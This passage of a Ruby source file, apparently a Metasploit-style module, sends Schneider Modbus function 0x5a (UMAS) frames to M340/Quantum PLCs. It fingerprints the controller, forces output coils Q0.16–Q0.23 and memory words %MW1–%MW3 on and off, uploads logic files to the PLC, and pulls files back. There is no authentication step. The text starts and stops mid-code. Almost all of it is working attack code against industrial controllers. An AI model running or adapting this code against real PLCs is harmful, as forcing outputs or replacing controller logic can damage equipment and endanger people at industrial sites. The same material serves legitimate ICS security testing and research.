77 | force_m340_words 78 | end 79 | 80 | end 81 | def handle_error(response) 82 | case response.reverse.unpack("c")[0].to_i 83 | when 1 84 | print_error("Error : ILLEGAL FUNCTION") 85 | when 2 86 | print_error("Error : ILLEGAL DATA ADDRESS") 87 | when 3 88 | print_error("Error : ILLEGAL DATA VALUE") 89 | when 4 90 | print_error("Error : SLAVE DEVICE FAILURE") 91 | when 6 92 | print_error("Error : SLAVE DEVICE BUSY") 93 | else 94 | print_error("Unknown error") 95 | end 96 | exit 97 | end 98 | def valid_filename? 99 | if datastore['MODE'] == "SEND" 100 | File.readable? datastore['FILENAME'] 101 | else 102 | File.writable?(File.split(datastore['FILENAME'])[0].to_s) 103 | end 104 | end 105 | # this is used for building a Modbus frame 106 | # just prepends the payload with a modbus header 107 | def make_frame(packetdata) 108 | if packetdata.size > 255 109 | print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}") 110 | return 111 | end 112 | payload = [@modbus_counter].pack("n") 113 | payload += "\x00\x00\x00" #dunno what these are 114 | payload += [packetdata.size].pack("c") # size byte 115 | payload += packetdata 116 | end 117 | # a wrapper just to be sure we increment the counter 118 | def send_frame(payload) 119 | sock.put(payload) 120 | @modbus_counter += 1 121 | r = sock.get(sock.def_read_timeout) 122 | if r.nil? 123 | print_error("No answer from target") 124 | exit 125 | elsif r.unpack("C*")[-2] == 218 126 | print_error("Apparently there is an error") 127 | #handle_error(r) 128 | else 129 | return r 130 | end 131 | end 132 | # This function sends some initialization requests 133 | # required for priming the Quantum 134 | def init 135 | send_frame(make_frame("\x00\x5a\x00\x02")) 136 | send_frame(make_frame("\x00\x5a\x00\x01\x00")) 137 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9)) 138 | send_frame(make_frame("\x00\x5a\x00\x03\x00")) 139 | send_frame(make_frame("\x00\x5a\x00\x03\x04")) 140 | send_frame(make_frame("\x00\x5a\x00\x04")) 141 | send_frame(make_frame("\x00\x5a\x00\x01\x00")) 142 | payload = "\x00\x5a\x00\x0a\x00" 143 | (0..0xf9).each { |x| payload += [x].pack("c") } 144 | send_frame(make_frame(payload)) 145 | send_frame(make_frame("\x00\x5a\x00\x04")) 146 | send_frame(make_frame("\x00\x5a\x00\x04")) 147 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00")) 148 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00")) 149 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00")) 150 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00")) 151 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00")) 152 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00")) 153 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00")) 154 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00")) 155 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00")) 156 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00")) 157 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00")) 158 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00")) 159 | payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f" 160 | #payload += "USER-714E74F21B" # Yep, really 161 | payload += "META-SPLOITMETA" 162 | send_frame(make_frame(payload)) 163 | send_frame(make_frame("\x00\x5a\x01\x04")) 164 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x0b")) 165 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07")) 166 | send_frame(make_frame("\x00\x5a\x01\x12")) 167 | send_frame(make_frame("\x00\x5a\x01\x04")) 168 | send_frame(make_frame("\x00\x5a\x01\x12")) 169 | send_frame(make_frame("\x00\x5a\x01\x04")) 170 | send_frame(make_frame("\x00\x5a\x00\x02")) 171 | send_frame(make_frame("\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70")) 172 | send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00")) 173 | send_frame(make_frame("\x00\x5a\x01\x04")) 174 | send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00")) 175 | end 176 | def gather_infos 177 | print_status("Sending initialization requests ...") 178 | api = send_frame(make_frame("\x00\x5a\x00\x02")) 179 | print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3]) 180 | send_frame(make_frame("\x00\x5a\x00\x01\x00")) 181 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9)) 182 | project = send_frame(make_frame("\x00\x5a\x00\x03\x00")) 183 | project_name = project.to_s 184 | print_good('Project name : ' + project_name[49..-1]) 185 | send_frame(make_frame("\x00\x5a\x00\x03\x04")) 186 | send_frame(make_frame("\x00\x5a\x00\x04")) 187 | host = send_frame(make_frame("\x00\x5a\x00\x01\x00")) 188 | host_name = host.to_s 189 | #print_good('host : ' + host_name) 190 | print_good('Hostname running Unity : ' + host_name[19..-1]) 191 | payload = "\x00\x5a\x00\x0a\x00" 192 | (0..0xf9).each { |x| payload += [x].pack("c") } 193 | send_frame(make_frame(payload)) 194 | send_frame(make_frame("\x00\x5a\x00\x04")) 195 | send_frame(make_frame("\x00\x5a\x00\x04")) 196 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00")) 197 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00")) 198 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00")) 199 | data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00")) 200 | tableau = [] 201 | data.bytes.each do |byte| 202 | tableau.push(byte.to_s) 203 | end 204 | @uaelbat = tableau.reverse 205 | nb_to_delete = 1 206 | for i in 1..tableau.size 207 | if @uaelbat[i].to_s != '0' 208 | break 209 | elsif @uaelbat[i].to_s == '0' 210 | nb_to_delete +=1 211 | end 212 | end 213 | tableau2 = @uaelbat[nb_to_delete..@uaelbat.size] 214 | test = tableau2.split('0') 215 | unity_version = '' 216 | test[0].each do |char| 217 | unity_version += [char.to_i].pack("c") 218 | end 219 | print_good("Unity software version : " + unity_version.reverse) 220 | comments ='' 221 | test[7].each do |char| 222 | comments += [char.to_i].pack("c") 223 | end 224 | print_good("Project comments : " + comments.reverse) 225 | end 226 | 227 | def force_m340_outputs 228 | print_status("Sending initialization requests ...") 229 | api = send_frame(make_frame("\x00\x5a\x00\x02")) 230 | #print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3]) 231 | send_frame(make_frame("\x00\x5a\x00\x01\x00")) 232 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9)) 233 | project = send_frame(make_frame("\x00\x5a\x00\x03\x00")) 234 | project_name = project.to_s 235 | #print_good('Project name : ' + project_name[49..-1]) 236 | send_frame(make_frame("\x00\x5a\x00\x03\x04")) 237 | send_frame(make_frame("\x00\x5a\x00\x04")) 238 | host = send_frame(make_frame("\x00\x5a\x00\x01\x00")) 239 | host_name = host.to_s 240 | #print_good('host : ' + host_name) 241 | #print_good('Hostname running Unity : ' + host_name[19..-1]) 242 | payload = "\x00\x5a\x00\x0a\x00" 243 | (0..0xf9).each { |x| payload += [x].pack("c") } 244 | send_frame(make_frame(payload)) 245 | send_frame(make_frame("\x00\x5a\x00\x04")) 246 | send_frame(make_frame("\x00\x5a\x00\x04")) 247 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00")) 248 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00")) 249 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00")) 250 | data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00")) 251 | tableau = [] 252 | data.bytes.each do |byte| 253 | tableau.push(byte.to_s) 254 | end 255 | @uaelbat = tableau.reverse 256 | nb_to_delete = 1 257 | for i in 1..tableau.size 258 | if @uaelbat[i].to_s != '0' 259 | break 260 | elsif @uaelbat[i].to_s == '0' 261 | nb_to_delete +=1 262 | end 263 | end 264 | tableau2 = @uaelbat[nb_to_delete..@uaelbat.size] 265 | test = tableau2.split('0') 266 | unity_version = '' 267 | test[0].each do |char| 268 | unity_version += [char.to_i].pack("c") 269 | end 270 | #print_good("Unity software version : " + unity_version.reverse) 271 | comments ='' 272 | test[7].each do |char| 273 | comments += [char.to_i].pack("c") 274 | end 275 | #print_good("Project comments : " + comments.reverse) 276 | # Force some bits 277 | sleep_time = 5 278 | 279 | # Send some garbage 280 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x09\x01\x22\x00\x07\x00\x09\x02\x0b\x00\x01\x00\x07")) 281 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07")) 282 | 283 | #data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02")) 284 | sleep(sleep_time) 285 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02")) 286 | # sleep(sleep_time) 287 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02")) 288 | # sleep(sleep_time) 289 | 290 | print_status("Sending request to set Q0.16 to 1") 291 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x02\x05\x01\x04\x00\x00\x00\x01\x05\x01\x04\x00\x00\x00\x02")) 292 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x03\x05\x01\x04\x00\x00\x00\x02")) 293 | sleep(sleep_time) 294 | print_status("Sending request to set Q0.16 to 0") 295 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x02\x05\x01\x04\x00\x00\x00\x02")) 296 | sleep(sleep_time) 297 | print_status("Sending request to unforce Q0.16") 298 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02")) 299 | sleep(sleep_time) 300 | 301 | print_status("Sending request to set Q0.17 to 1") 302 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03")) 303 | sleep(sleep_time) 304 | print_status("Sending request to set Q0.17 to 0") 305 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x02")) 306 | sleep(sleep_time) 307 | print_status("Sending request to unforce Q0.17") 308 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x04")) 309 | sleep(sleep_time) 310 | 311 | print_status("Sending request to set Q0.18 to 1") 312 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x03")) 313 | sleep(sleep_time) 314 | print_status("Sending request to set Q0.18 to 0") 315 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02")) 316 | sleep(sleep_time) 317 | print_status("Sending request to unforce Q0.18") 318 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x04")) 319 | sleep(sleep_time) 320 | 321 | print_status("Sending request to set Q0.19 to 1") 322 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x03")) 323 | sleep(sleep_time) 324 | print_status("Sending request to set Q0.19 to 0") 325 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x02")) 326 | sleep(sleep_time) 327 | print_status("Sending request to unforce Q0.19") 328 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x04")) 329 | 330 | print_status("Sending request to set Q0.20 to 1") 331 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x14\x00\x01\x00\x00\x00\x03")) 332 | sleep(sleep_time) 333 | print_status("Sending request to set Q0.20 to 0") 334 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x14\x00\x01\x00\x00\x00\x02")) 335 | sleep(sleep_time) 336 | print_status("Sending request to unforce Q0.20") 337 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x14\x00\x01\x00\x00\x00\x04")) 338 | 339 | print_status("Sending request to set Q0.21 to 1") 340 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x15\x00\x01\x00\x00\x00\x03")) 341 | sleep(sleep_time) 342 | print_status("Sending request to set Q0.22 to 0") 343 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x15\x00\x01\x00\x00\x00\x02")) 344 | sleep(sleep_time) 345 | print_status("Sending request to unforce Q0.22") 346 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x15\x00\x01\x00\x00\x00\x04")) 347 | 348 | print_status("Sending request to set Q0.23 to 1") 349 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x16\x00\x01\x00\x00\x00\x03")) 350 | sleep(sleep_time) 351 | print_status("Sending request to set Q0.23 to 0") 352 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x16\x00\x01\x00\x00\x00\x02")) 353 | sleep(sleep_time) 354 | print_status("Sending request to unforce Q0.23") 355 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x16\x00\x01\x00\x00\x00\x04")) 356 | 357 | 358 | # sleep 2 359 | # print_status("Sending request to set %MW2 to 0") 360 | # 361 | # send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02")) 362 | # sleep 2 363 | # print_status("Sending request to set %MW2 to 1") 364 | # send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02")) 365 | # send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x12\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa6\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02")) 366 | # print_status("Sending request to set %MW4 to 1") 367 | # send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x14\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa8\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02")) 368 | # sleep 2 369 | # #print_status("Sending request to unforce Q0.18") 370 | #data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x04")) 371 | end 372 | 373 | 374 | def force_m340_words 375 | print_status("Sending initialization requests ...") 376 | api = send_frame(make_frame("\x00\x5a\x00\x02")) 377 | #print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3]) 378 | send_frame(make_frame("\x00\x5a\x00\x01\x00")) 379 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9)) 380 | project = send_frame(make_frame("\x00\x5a\x00\x03\x00")) 381 | project_name = project.to_s 382 | #print_good('Project name : ' + project_name[49..-1]) 383 | send_frame(make_frame("\x00\x5a\x00\x03\x04")) 384 | send_frame(make_frame("\x00\x5a\x00\x04")) 385 | host = send_frame(make_frame("\x00\x5a\x00\x01\x00")) 386 | host_name = host.to_s 387 | #print_good('host : ' + host_name) 388 | #print_good('Hostname running Unity : ' + host_name[19..-1]) 389 | payload = "\x00\x5a\x00\x0a\x00" 390 | (0..0xf9).each { |x| payload += [x].pack("c") } 391 | send_frame(make_frame(payload)) 392 | send_frame(make_frame("\x00\x5a\x00\x04")) 393 | send_frame(make_frame("\x00\x5a\x00\x04")) 394 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00")) 395 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00")) 396 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00")) 397 | data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00")) 398 | tableau = [] 399 | data.bytes.each do |byte| 400 | tableau.push(byte.to_s) 401 | end 402 | @uaelbat = tableau.reverse 403 | nb_to_delete = 1 404 | for i in 1..tableau.size 405 | if @uaelbat[i].to_s != '0' 406 | break 407 | elsif @uaelbat[i].to_s == '0' 408 | nb_to_delete +=1 409 | end 410 | end 411 | tableau2 = @uaelbat[nb_to_delete..@uaelbat.size] 412 | test = tableau2.split('0') 413 | unity_version = '' 414 | test[0].each do |char| 415 | unity_version += [char.to_i].pack("c") 416 | end 417 | #print_good("Unity software version : " + unity_version.reverse) 418 | comments ='' 419 | test[7].each do |char| 420 | comments += [char.to_i].pack("c") 421 | end 422 | #print_good("Project comments : " + comments.reverse) 423 | # Force some bits 424 | sleep_time = 5 425 | 426 | # Send some garbage 427 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x09\x01\x22\x00\x07\x00\x09\x02\x0b\x00\x01\x00\x07")) 428 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07")) 429 | 430 | #data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02")) 431 | sleep(sleep_time) 432 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02")) 433 | # sleep(sleep_time) 434 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02")) 435 | # sleep(sleep_time) 436 | 437 | print_status("Sending request to set %MW1 to 0") 438 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa2\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02")) 439 | sleep(sleep_time) 440 | print_status("Sending request to set %MW1 to 1") 441 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa2\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x03")) 442 | sleep(sleep_time) 443 | 444 | print_status("Sending request to set %MW2 to 0") 445 | sleep(sleep_time) 446 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02")) 447 | sleep(sleep_time) 448 | print_status("Sending request to set %MW2 to 1") 449 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02")) 450 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x12\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa6\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x03")) 451 | sleep(sleep_time) 452 | 453 | print_status("Sending request to set %MW3 to 1") 454 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x14\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa8\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02")) 455 | sleep(sleep_time) 456 | print_status("Sending request to set %MW3 to 0") 457 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x14\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa8\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x03")) 458 | sleep(sleep_time) 459 | end 460 | 461 | # Write the contents of local file filename to the target's filenumber 462 | # blank logic files will be available on the Digital Bond website 463 | def writefile 464 | print_status "#{rhost}:#{rport} - MODBUS - Sending write request" 465 | #blocksize = 244 # bytes per block in file transfer 466 | blocksize = 218 # bytes per block in file transfer 467 | buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read } 468 | fullblocks = buf.length / blocksize 469 | #if fullblocks > 255 470 | # print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.") 471 | # return 472 | #end 473 | print_status "Total number of blocks : #{fullblocks}" 474 | lastblocksize = buf.length - (blocksize*fullblocks) 475 | lastblocksize_enhexa = [lastblocksize].pack("c") 476 | print_status "Last block size : #{lastblocksize}" 477 | fileblocks = fullblocks 478 | if lastblocksize != 0 479 | fileblocks += 1 480 | end 481 | filetype = buf[0..2] 482 | if filetype == "APX" 483 | filenum = "\x01" 484 | elsif filetype == "APB" 485 | filenum = "\x10" 486 | end 487 | send_frame(make_frame("\x00\x5a\x01\x41\xff\x00")) 488 | send_frame(make_frame("\x00\x5a\x00\x03\x01")) 489 | send_frame(make_frame("\x00\x5a\x01\x04")) 490 | send_frame(make_frame("\x00\x5a\x00\x02")) 491 | send_frame(make_frame("\x00\x5a\x00\x02")) 492 | send_frame(make_frame("\x00\x5a\x01\x04")) 493 | send_frame(make_frame("\x00\x5a\x01\x04")) 494 | send_frame(make_frame("\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xe1\x00")) 495 | send_frame(make_frame("\x00\x5a\x00\x02")) 496 | send_frame(make_frame("\x00\x5a\x01\x04")) 497 | send_frame(make_frame("\x00\x5a\x00\x03\x01")) 498 | send_frame(make_frame("\x00\x5a\x00\x02")) 499 | send_frame(make_frame("\x00\x5a\x00\x02")) 500 | send_frame(make_frame("\x00\x5a\x01\x04")) 501 | payload = "\x00\x5a\x01\x30\x00" 502 | payload += filenum 503 | response = send_frame(make_frame(payload)) 504 | if response[8..9] == "\x01\xfe" 505 | print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...") 506 | else 507 | print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.") 508 | return 509 | end 510 | payload = "\x00\x5a\x01\x04" 511 | send_frame(make_frame(payload)) 512 | block = 1 513 | block2 = 0 514 | block_nb = 1 515 | block2status = 0 # block 2 must always be sent twice 516 | while block_nb < (fileblocks - 1) 517 | block_nb = block2*16*16 + block 518 | if block == 256 519 | block = 0 520 | block2 += 1 521 | end 522 | payload = "\x00\x5a\x01\x31\x00" 523 | payload += filenum 524 | payload += [block].pack("c") 525 | payload += [block2].pack("c") 526 | payload += "\xda\x00" 527 | payload += buf[(((block2*16*16 + block) - 1) * 218)..(((block2*16*16 + block) * 218) - 1)] 528 | res = send_frame(make_frame(payload)) 529 | print_status "Envoi du block #{block_nb}/#{fullblocks} (#{block2}::#{block})" 530 | if res[8..9] != "\x01\xfe" 531 | print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block_nb}") 532 | return 533 | end 534 | # redo this iteration of the loop if we're on block 2 535 | if block2status == 0 and block == 2 536 | print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time") 537 | block2status = 1 538 | redo 539 | end 540 | block += 1 541 | end 542 | if lastblocksize > 0 543 | print_status "Last Block !" 544 | print_status "Size : #{lastblocksize}" 545 | payload = "\x00\x5a\x01\x31\x00" 546 | payload += filenum 547 | payload += [block].pack("c") 548 | payload += [block2].pack("c") 549 | payload += [lastblocksize].pack("c") + "\x00" 550 | payload += buf[(((block2*16*16 + block)-1) * 218)..((((block2*16*16 + block)-1) * 218) + lastblocksize)] 551 | print_status "#{rhost}:#{rport} - MODBUS - Block #{block_nb}: #{payload.inspect}" 552 | res = send_frame(make_frame(payload)) 553 | if res[8..9] != "\x01\xfe" 554 | print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block") 555 | return 556 | end 557 | end 558 | vprint_status "#{rhost}:#{rport} - MODBUS - Closing file" 559 | payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x0a" 560 | send_frame(make_frame(payload)) 561 | end 562 | # Only reading the STL file is supported at the moment :( 563 | def readfile 564 | print_status "#{rhost}:#{rport} - MODBUS - Sending read request" 565 | file = File.open(datastore['FILENAME'], 'wb') 566 | print_status("#{rhost}:#{rport} - MODBUS - Retrieving file") 567 | filedata = "" 568 | 569 | 570 | response = send_frame(make_frame("\x01\x5a\x00\x28\xfb\xff\x01\x00\x01\x00")) 571 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\xfe\x01\x00\xec\x00")) 572 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\xff\x01\x00\x40\x00")) 573 | response = send_frame(make_frame("\x01\x5a\x00\x28\x00\x02\x00\x00\xec\x00")) 574 | response = send_frame(make_frame("\x01\x5a\x00\x28\xec\x02\x00\x00\x9b\x00")) 575 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\xfe\x01\x00\xec\x00")) 576 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\xff\x01\x00\x40\x00")) 577 | response = send_frame(make_frame("\x01\x5a\x00\x28\x00\x80\x00\x07\xec\x00")) 578 | filedata += response[0xe..-1] 579 | response = send_frame(make_frame("\x01\x5a\x00\x28\xec\x80\x00\x07\xec\x00")) 580 | filedata += response[0xe..-1] 581 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd8\x81\x00\x07\xec\x00")) 582 | filedata += response[0xe..-1] 583 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc4\x82\x00\x07\xec\x00")) 584 | filedata += response[0xe..-1] 585 | response = send_frame(make_frame("\x01\x5a\x00\x28\xb0\x83\x00\x07\xec\x00")) 586 | filedata += response[0xe..-1] 587 | response = send_frame(make_frame("\x01\x5a\x00\x28\x9c\x84\x00\x07\xec\x00")) 588 | filedata += response[0xe..-1] 589 | response = send_frame(make_frame("\x01\x5a\x00\x28\x88\x85\x00\x07\xec\x00")) 590 | filedata += response[0xe..-1] 591 | response = send_frame(make_frame("\x01\x5a\x00\x28\x74\x86\x00\x07\xec\x00")) 592 | filedata += response[0xe..-1] 593 | response = 